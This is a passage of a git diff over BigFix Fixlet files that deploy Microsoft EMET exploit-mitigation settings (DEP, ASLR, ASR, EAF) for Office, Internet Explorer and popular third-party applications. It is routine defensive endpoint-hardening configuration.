-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="false" />
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="PPTVIEW.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="false" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="false" />
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="OIS.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="false" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="false" />
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-</EMET_Apps>
-</EMET>
-_end_
-
-move __createfile defaults.xml
-
-waithidden "{parameter "emetconfexe"}" --import defaults.xml]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - EMET Rules - Enable Microsoft Application Mitigations without EAF - Windows
+  ID       : 20897
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-07T23:19:47
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - EMET Rules - Enable Microsoft Application Mitigations without EAF - Windows</Title>
+    <Description><![CDATA[<P>This policy sets the default application mitigations for various Microsoft applications within EMET.</P>
+<P>Specifically it configures EMET to detect exploits for the following applications:</P>
+<UL>
+<LI>Access
+<LI>Excel
+<LI>InfoPath
+<LI>Internet Explorer
+<LI>Lync
+<LI>Outlook
+<LI>PowerPoint
+<LI>Publisher
+<LI>Visio
+<LI>Word
+<LI>WordPad</LI></UL>
+<P>This Fixlet in particular excludes ALL EAF configurations.</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists file &quot;emet_conf.exe&quot; of folder whose (name of it starts with &quot;EMET&quot;) of program files x32 folder</Relevance>
+    <Relevance><![CDATA[(version of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder) > "5.5.0.0" as version]]></Relevance>
+    <Relevance>(size of ((set of (&quot;*\Internet Explorer\iexplore.exe&quot;;&quot;*\Windows NT\Accessories\wordpad.exe&quot;;&quot;*\OFFICE1*\OUTLOOK.EXE&quot;;&quot;*\OFFICE1*\WINWORD.EXE&quot;;&quot;*\OFFICE1*\EXCEL.EXE&quot;;&quot;*\OFFICE1*\POWERPNT.EXE&quot;;&quot;*\OFFICE1*\MSACCESS.EXE&quot;;&quot;*\OFFICE1*\MSPUB.EXE&quot;;&quot;*\OFFICE1*\INFOPATH.EXE&quot;;&quot;*\OFFICE1*\VISIO.EXE&quot;;&quot;*\OFFICE1*\VPREVIEW.EXE&quot;;&quot;*\OFFICE1*\LYNC.EXE&quot;;&quot;*\OFFICE1*\PPTVIEW.EXE&quot;;&quot;*\OFFICE1*\OIS.EXE&quot;) - set of names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry) - set of names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry) != 0) | true</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-06-06</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+
+parameter "emetconfexe"="{pathname of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder}"
+
+delete __createfile
+delete defaults.xml
+
+createfile until _end_
+<?xml version="1.0"?>
+<EMET Version="5.5.5871.31890">
+  <EMET_Apps>
+    <AppConfig Path="*\Internet Explorer" Executable="iexplore.exe">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false">
+        <eaf_modules>mshtml.dll;flash*.ocx;jscript*.dll;vbscript.dll;vgx.dll</eaf_modules>
+      </Mitigation>
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="true">
+        <asr_modules>npjpi*.dll;jp2iexp.dll;vgx.dll;msxml4*.dll;wshom.ocx;scrrun.dll;vbscript.dll</asr_modules>
+        <asr_zones>1;2</asr_zones>
+      </Mitigation>
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\Windows NT\Accessories" Executable="wordpad.exe">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="OUTLOOK.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="WINWORD.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="true">
+        <asr_modules>flash*.ocx</asr_modules>
+      </Mitigation>
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="EXCEL.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="true">
+        <asr_modules>flash*.ocx</asr_modules>
+      </Mitigation>
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="POWERPNT.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="true">
+        <asr_modules>flash*.ocx</asr_modules>
+      </Mitigation>
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="MSACCESS.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="MSPUB.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="INFOPATH.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="VISIO.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="VPREVIEW.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="LYNC.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="PPTVIEW.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="OIS.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+</EMET_Apps>
+</EMET>
+_end_
+
+move __createfile defaults.xml
+
+waithidden "{parameter "emetconfexe"}" --import defaults.xml]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Popular Third-Party Mitigations - Windows (21612).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Popular Third-Party Mitigations - Windows (21612).bes
index eaa5277a6..cbee251cc 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Popular Third-Party Mitigations - Windows (21612).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Popular Third-Party Mitigations - Windows (21612).bes	
@@ -1,308 +1,308 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - EMET Rules - Enable Popular Third-Party Mitigations - Windows
-  ID       : 21612
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-14T09:47:23
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - EMET Rules - Enable Popular Third-Party Mitigations - Windows</Title>
-    <Description><![CDATA[<P>This policy sets the default application mitigations for various Microsoft applications within EMET.</P>
-<P>Specifically it configures EMET to detect exploits for the following applications:</P>
-<UL>
-<LI>7-Zip
-<LI>Adobe Acrobat
-<LI>Adobe Reader
-<LI>Adobe Photoshop
-<LI>Apple Safari
-<LI>Apple Quicktime
-<LI>Apple iTunes
-<LI>FoxIT Reader
-<LI>Google Chrome
-<LI>Google Talk
-<LI>Java
-<LI>mIRC
-<LI>Mozilla Firefox
-<LI>Mozilla Thunderbird
-<LI>Opera Browser
-<LI>Pidgin
-<LI>Real Player
-<LI>VLC
-<LI>Winamp
-<LI>WinRAR
-<LI>WinZIP</LI></UL>
-<P>Please note, EAF+ has been disabled for Google Chrome due to issues with the latest versions of Chrome and Windows 10.</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists file &quot;emet_conf.exe&quot; of folder whose (name of it starts with &quot;EMET&quot;) of program files x32 folder</Relevance>
-    <Relevance><![CDATA[(version of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder) > "5.5.0.0" as version]]></Relevance>
-    <Relevance>(size of (set of (&quot;*\Adobe\*\Reader\AcroRd32.exe&quot;;&quot;*\Adobe\Acrobat*\Acrobat\Acrobat.exe&quot;;&quot;*\Java\jre*\bin\java.exe&quot;;&quot;*\Java\jre*\bin\javaw.exe&quot;;&quot;*\Java\jre*\bin\javaws.exe&quot;;&quot;*\Google\Chrome\Application\chrome.exe&quot;;&quot;*\Google\Google Talk\googletalk.exe&quot;;&quot;*\Mozilla Firefox\firefox.exe&quot;;&quot;*\Mozilla Firefox\plugin-container.exe&quot;;&quot;*\Mozilla Thunderbird\thunderbird.exe&quot;;&quot;*\Mozilla Thunderbird\plugin-container.exe&quot;;&quot;*\Adobe\Adobe Photoshop CS*\Photoshop.exe&quot;;&quot;*\Winamp\winamp.exe&quot;;&quot;*\Opera\opera.exe&quot;;&quot;*\Opera\*\opera.exe&quot;;&quot;*\WinRAR\winrar.exe&quot;;&quot;*\WinRAR\rar.exe&quot;;&quot;*\WinRAR\unrar.exe&quot;;&quot;*\WinZip\winzip32.exe&quot;;&quot;*\WinZip\winzip64.exe&quot;;&quot;*\VideoLAN\VLC\vlc.exe&quot;;&quot;*\Real\RealPlayer\realconverter.exe&quot;;&quot;*\Real\RealPlayer\realplay.exe&quot;;&quot;*\mIRC\mirc.exe&quot;;&quot;*\7-Zip\7z.exe&quot;;&quot;*\7-Zip\7zG.exe&quot;;&quot;*\7-Zip\7zFM.exe&quot;;&quot;*\Safari\Safari.exe&quot;;&quot;*\QuickTime\QuickTimePlayer.exe&quot;;&quot;*\iTunes\iTunes.exe&quot;;&quot;*\Pidgin\pidgin.exe&quot;;&quot;*\Foxit Reader\Foxit Reader.exe&quot;) - set of names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry) != 0) | true</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-06-06</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
-
-parameter "emetconfexe"="{pathname of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder}"
-
-delete __createfile
-delete defaults.xml
-
-createfile until _end_
-<?xml version="1.0"?>
-<!--
-EMET Popular Software protections config.
-Enables protections for common software such as Internet Explorer, Microsof Office, Windows Media Player, Adobe Acrobat Reader, Java, WinZip, VLC, RealPlayer, QuickTime, Opera, etc.
-
-All applications will have the default mitigations applied to them unless specific mitigations are specified per application.
-Environment variable supported:
-- %ProgramFiles(x86)% - This maps to %ProgramFiles(x86)%. If it's not defined on the system, it will map to %ProgramFiles%.
-- %ProgramFiles% - This maps to %ProgramFiles%. If the Product's Arch property is x64, it will map to the 64 bit program files directory.
-- %Windir% - Windows directory
-- %LOCALAPPDATA% - User local data path
-- %APPDATA% - User roaming data path
-- All other environment variables
-- MinOS - when a mitigation is enabled (=true), it will be applied by default only if minimum OS version is equal or greater of the one specified
-
-Please refer to EMET User's Guide for detailed information on how to use wildcards "*"
--->
-
-<EMET_Standard_Rules>
-
-  <!-- Default mitigations will be applied by default to configured programs unless each program explicity enables or disables certain mitigations -->
-  <DefaultConfig>
-    <Mitigations>
-      <Mitigation Name="DEP"            Enabled="true" />
-      <Mitigation Name="SEHOP"          Enabled="true" />
-      <Mitigation Name="NullPage"       Enabled="true" />
-      <Mitigation Name="HeapSpray"      Enabled="true" />
-      <Mitigation Name="EAF"            Enabled="true" />
-      <Mitigation Name="EAF+"           Enabled="false" />
-      <Mitigation Name="MandatoryASLR"  Enabled="true" />
-      <Mitigation Name="BottomUpASLR"   Enabled="true" />
-      <Mitigation Name="LoadLib"        Enabled="true" />
-      <Mitigation Name="MemProt"        Enabled="true" />
-      <Mitigation Name="Caller"         Enabled="true" />
-      <Mitigation Name="SimExecFlow"    Enabled="true" />
-      <Mitigation Name="StackPivot"     Enabled="true" />
-      <Mitigation Name="ASR"            Enabled="false" />
-    </Mitigations>
-  </DefaultConfig>
-
-  <Settings>
-    <ExploitAction Value="StopProgram" />
-    <AdvancedSettings DeepHooks="True" AntiDetours="True" BannedFunctions="True" />
-  </Settings>
-
-  <!--
-  ******************************************************************************************************************
-  Suites and programs definitions
-  ******************************************************************************************************************
-  -->
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="Google">
-    <Product Name="Chrome">
-      <Version Arch="x86" Path="*\Google\Chrome\Application\chrome.exe">
-        <Mitigation Name="SEHOP" Enabled="true" MinOS="6.1"/>
-        <Mitigation Name="EAF+" Enabled="false">
-          <eaf_modules>chrome_child.dll</eaf_modules>
-        </Mitigation>
-
-      </Version>
-    </Product>
-
-    <Product Name="Google Talk">
-      <Version Arch="x86" Path="*\Google\Google Talk\googletalk.exe">
-        <Mitigation Name="DEP" Enabled="false" />
-        <Mitigation Name="SEHOP" Enabled="true" MinOS="6.1"/>
-      </Version>
-    </Product>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="Mozilla">
-    <Suite Name="FireFox" Arch="x86">
-      <App Name="Browser" Path="*\Mozilla Firefox\firefox.exe">
-        <Mitigation Name="EAF+" Enabled="true">
-          <eaf_modules>mozjs.dll;xul.dll</eaf_modules>
-        </Mitigation>
-      </App>
-      <App Name="Plugin container" Path="*\Mozilla Firefox\plugin-container.exe"/>
-    </Suite>
-
-    <Suite Name="Thunderbird" Arch="x86">
-      <App Name="Mail client" Path="*\Mozilla Thunderbird\thunderbird.exe"/>
-      <App Name="Plugin container" Path="*\Mozilla Thunderbird\plugin-container.exe"/>
-    </Suite>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="Adobe">
-
-    <!-- Adobe Photoshop CS ALL-->
-    <Product Name="Photoshop">
-      <Version Name="Photoshop" Path="*\Adobe\Adobe Photoshop CS*\Photoshop.exe"/>
-    </Product>
-
-    <!-- Adobe Acrobat and Acrobat Reader 8,9,10,11 -->
-    <Product Name="Acrobat Reader">
-      <Version Name="Acrobat Reader" Path="*\Adobe\*\Reader\AcroRd32.exe">
-        <Mitigation Name="EAF+" Enabled="true">
-          <eaf_modules>AcroRd32.dll;Acrofx32.dll;AcroForm.api</eaf_modules>
-        </Mitigation>
-      </Version>
-    </Product>
-    <Product Name="Acrobat">
-      <Version Name="Acrobat" Path="*\Adobe\Acrobat*\Acrobat\Acrobat.exe">
-        <Mitigation Name="EAF+" Enabled="true">
-          <eaf_modules>AcroRd32.dll;Acrofx32.dll;AcroForm.api</eaf_modules>
-        </Mitigation>
-      </Version>
-    </Product>
-
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="Nullsoft">
-    <Product Name="Winamp">
-      <Version Arch="x86" Path="*\Winamp\winamp.exe"/>
-    </Product>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="Opera Software ASA">
-    <Product Name="Opera Browser">
-      <Version Arch="x86" Path="*\Opera\opera.exe"/>
-    </Product>
-  </Vendor>
-  <Vendor Name="Opera Software ASA">
-    <Product Name="Opera Browser">
-      <Version Arch="x86" Path="*\Opera\*\opera.exe"/>
-    </Product>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="RAR Labs">
-    <Suite Name="WinRAR">
-      <App Name="GUI" Path="*\WinRAR\winrar.exe"/>
-      <App Name="Console" Path="*\WinRAR\rar.exe"/>
-      <App Name="Unrar" Path="*\WinRAR\unrar.exe"/>
-    </Suite>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="WinZip Computing">
-    <Product Name="WinZip (x86)">
-      <Version Arch="x86" Path="*\WinZip\winzip32.exe"/>
-    </Product>
-
-    <Product Name="WinZip (x64)">
-      <Version Arch="x64" Path="*\WinZip\winzip64.exe"/>
-    </Product>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="VideoLAN">
-    <Product Name="VLC">
-      <Version Arch="x86" Path="*\VideoLAN\VLC\vlc.exe"/>
-    </Product>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="Real Networks">
-    <Suite Name="RealPlayer" Arch="x86">
-      <App Name="Converter" Path="*\Real\RealPlayer\realconverter.exe"/>
-      <App Name="Player" Path="*\Real\RealPlayer\realplay.exe"/>
-    </Suite>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="mIRC Co">
-    <Product Name="mIRC">
-      <Version Arch="x86" Path="*\mIRC\mirc.exe"/>
-    </Product>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="7-Zip">
-    <Suite Name="7-Zip">
-      <App Name="Console command line" Path="*\7-Zip\7z.exe">
-        <Mitigation Name="EAF" Enabled="false" />
-      </App>
-      <App Name="GUI command line" Path="*\7-Zip\7zG.exe">
